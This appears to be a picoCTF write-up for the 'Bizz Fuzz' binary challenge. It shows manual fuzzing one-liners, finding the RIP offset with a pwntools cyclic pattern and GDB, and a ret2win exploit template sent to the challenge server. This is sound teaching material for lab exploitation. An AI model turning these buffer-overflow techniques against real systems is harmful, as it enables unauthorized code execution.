Description
Fuzz this binary to find a crash, then exploit the vulnerability to get a shell and read the flag.
Setup
Download the binary and set up your fuzzing environment.
wget https://mercury.picoctf.net/static/.../bizzfuzzchmod +x bizzfuzzchecksec bizzfuzzSolution
Walk me through it- Step 1Manually fuzz with numeric and oversized inputsFizzBuzz reads integers, so probe numeric inputs first: edges (0, -1, INT_MAX), oversized digit strings, and long alphabetic strings to test any numeric parser plus any string buffer downstream.python
python3 -c "print(2**31 - 1)" | ./bizzfuzzpythonpython3 -c "print(-1)" | ./bizzfuzzpythonpython3 -c "print('9' * 200)" | ./bizzfuzzbashfor i in 10 50 100 200 500 1000; do echo "len=$i"; python3 -c "print('A'*$i)" | ./bizzfuzz 2>&1 | tail -2; doneLearn more
Fuzzing sends malformed inputs to trigger unexpected behavior. A crash typically indicates a memory corruption bug (buffer overflow, use-after-free) that may be exploitable.
For a CTF challenge with a known vulnerability and a small input surface, a targeted manual sweep almost always reaches the bug faster than wiring up AFL (American Fuzzy Lop) - the industry-standard coverage-guided fuzzer. AFL shines when you have no idea where the bug lives in a large input surface; here the FizzBuzz framing tells you the parser eats integers, so probe the integer parser and any output buffer it builds.
- Step 2Find the offset to RIP with a cyclic patternSend a cyclic pattern over the network using nc, then attach GDB to inspect crash state. Pass the value sitting in RIP at crash time to cyclic_find to derive the byte offset.python
python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | nc <host> <PORT>bash# Locally, observe the crash state in GDB:bashgdb -q ./bizzfuzz -ex 'run < <(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")' -ex 'info registers'bash# Then plug the value seen in RIP/EIP into cyclic_find:pythonpython3 -c "from pwn import *; print(cyclic_find(0x6161616a))"Learn more
After triggering the crash, GDB shows the crash state. The key question: can you control RIP/EIP? If the value in RIP at crash time matches part of your cyclic pattern, you have a controllable overflow and the offset comes straight from
cyclic_find. - Step 3Exploit the vulnerabilityBuild the exploit based on the vulnerability type identified. For a buffer overflow, find the offset and overwrite the return address. Use pwntools to build and send the exploit.python
python3 - <<'EOF' from pwn import * e = ELF('./bizzfuzz') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) # Build exploit based on identified vulnerability offset = 0 # from cyclic_find win_addr = e.sym.get('win', 0) or 0 # or ROP chain payload = b'A' * offset + p64(win_addr) p.sendline(payload) p.interactive() EOFLearn more
The name "Bizz Fuzz" is a play on FizzBuzz, the classic programming interview problem. The binary implements some variant of FizzBuzz and processes input in a way that has an exploitable boundary condition - typically an off-by-one or unbounded copy in the fizz/buzz string formatting. For the underlying overflow mechanics and ret2win shape, see the buffer overflow guide.
Flag
picoCTF{...}
Fuzzing reveals crash conditions that static analysis might miss - find the crashing input, identify the vulnerability type in GDB, then build a targeted exploit payload.